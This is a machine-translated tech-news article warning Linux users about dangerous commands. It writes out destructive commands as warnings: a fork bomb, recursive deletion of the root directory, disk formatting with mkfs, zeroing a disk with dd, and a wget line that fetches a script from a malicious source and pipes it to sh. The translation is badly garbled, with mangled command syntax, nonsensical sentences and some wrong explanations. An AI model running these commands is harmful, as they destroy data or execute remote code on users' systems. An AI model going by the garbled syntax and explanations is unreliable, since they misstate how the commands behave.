Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What are the commands that need to be used carefully in Linux

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >

Share

Shulou(Shulou.com)06/01 Report--

This article will explain in detail the commands that need to be used cautiously in Linux. The editor thinks it is very practical, so I share it with you as a reference. I hope you can get something after reading this article.

Here I have collected some Linux code that is harmful to the system to help you avoid them. Remember: this code is very dangerous and can even be modified to become more harmful.

One more thing to note: some commands are harmful only when there is a sudo prefix in Ubuntu. Other distributions of Linux are harmful when used as root commands.

1 、 Linux Fork Bomb Command

: () {:: &};: known as Fork Bomb, is a Linux system for denial of service attacks. : () {:: &};: is a bash function. As long as it is executed, he will repeat it again and again until the system is frozen.

You can only restart the system to solve this problem. So be careful when you execute this command in the Linux interface.

2 、 Mv Folder/Dev/Null Command

Mv folder/dev/null is also a dangerous order. Dev/null or null device is a device file that deletes all data written to this device file, but the operation indicates that the write operation was successful. This is what we often call bit bucked or black hole.

3. Rm-Rf Command

The rm-rf command quickly deletes folders and their contents on a Linux system. If you don't know how to use it correctly, you have to cry.

The following are the most common combinations and choices for m-rf commands:

Rm command: delete files on the Linux system

Rm-f command: delete read-only files from files without prompting

Rm-r command: delete the contents of a folder in a loop

Rm-d command: delete an empty directory, which will not be performed if it is not empty

Rm-rf/ command: force deletion of all contents and subfolders (including write-protected files) in the root directory

Rm-rf* command: forces the deletion of all contents (current working directory) and word folders in the current directory

Rm-rf. Command: forces the deletion of everything in the current folder directory / subdirectory. Same as rm-r. [^.] *

The rm-r. [^.] * command: delete files and folders with a deletion prompt

4 、 Mkfs Command

If you don't know what mkfs does, it is also a dangerous command, and any command written after mkfs will be formatted and replaced by a blank linux file system.

The following is a list of commands that require administrator privileges to format the hard drive:

Mkfs

Mkfs.ext3

Mkfs.bfs

Mkfs.ext2

Mkfs.minix

Mkfs.msdos mkfs.reiserfs

Mkfs.vfat

Mkfs.cramfs can do the same thing as the above code, but there is no need to manage source permissions.

5 、 Tar Bomb

The tar command is used to put multiple files into a single file (archive file) in .tar format. The Tape Archive (Tar) bomb can be created by him.

When compressed, it is this archive file that generates tens of thousands of files with similar names that appear in the current directory instead of the new directory.

When you receive a tar file, create a new protected directory periodically, and then put the accepted tar file in this directory before unzipping it, you can avoid becoming a victim of tar bomb.

6 、 Dd Command

The Dd command is used to copy & change the hard disk partition. If you use it in the wrong place, it's also dangerous.

The following is a list of dd commands:

Dd if=/dev/hda of=/dev/hdb

Dd if=/dev/hda of=/dev/sdb

Dd if=something of=/dev/hda

Dd if=something of=/dev/sda

The following command zeros the entire primary hard drive: dd if=/dev/zero of=/dev/had

7 、 Shell Script Code

Sometimes, you may be tricked into giving you a shell script file to download and execute. The script may contain some malicious or dangerous code. The command might look like this: wget http://some_malicious_source-O-sh. Wget will download scripts when sh is narrow.

8 、 Malicious Source Code

Maybe someone will give you the source code so you can compile him. The code may be normal code, but there is some malicious code disguised as large source code, and if so, your system will be shot. How to avoid it? Only accept and compile source code from trusted sources.

9 、 Decompression Bomb

You have received a compressed file, and you have been asked to extract this seemingly small file, perhaps as small as KB. In fact, the small compressed file contains highly compressed data.

As long as the files are decompressed, hundreds of GB data will be extracted. At this time, there is a great chance that too much data will fill the hard disk and lead to downtime. How to avoid it? As the old saying goes, don't be cheap and receive all kinds of files. Please accept trusted source files.

This is the end of the article on "which commands need to be used with caution in Linux". I hope the above content can be helpful to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Servers

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report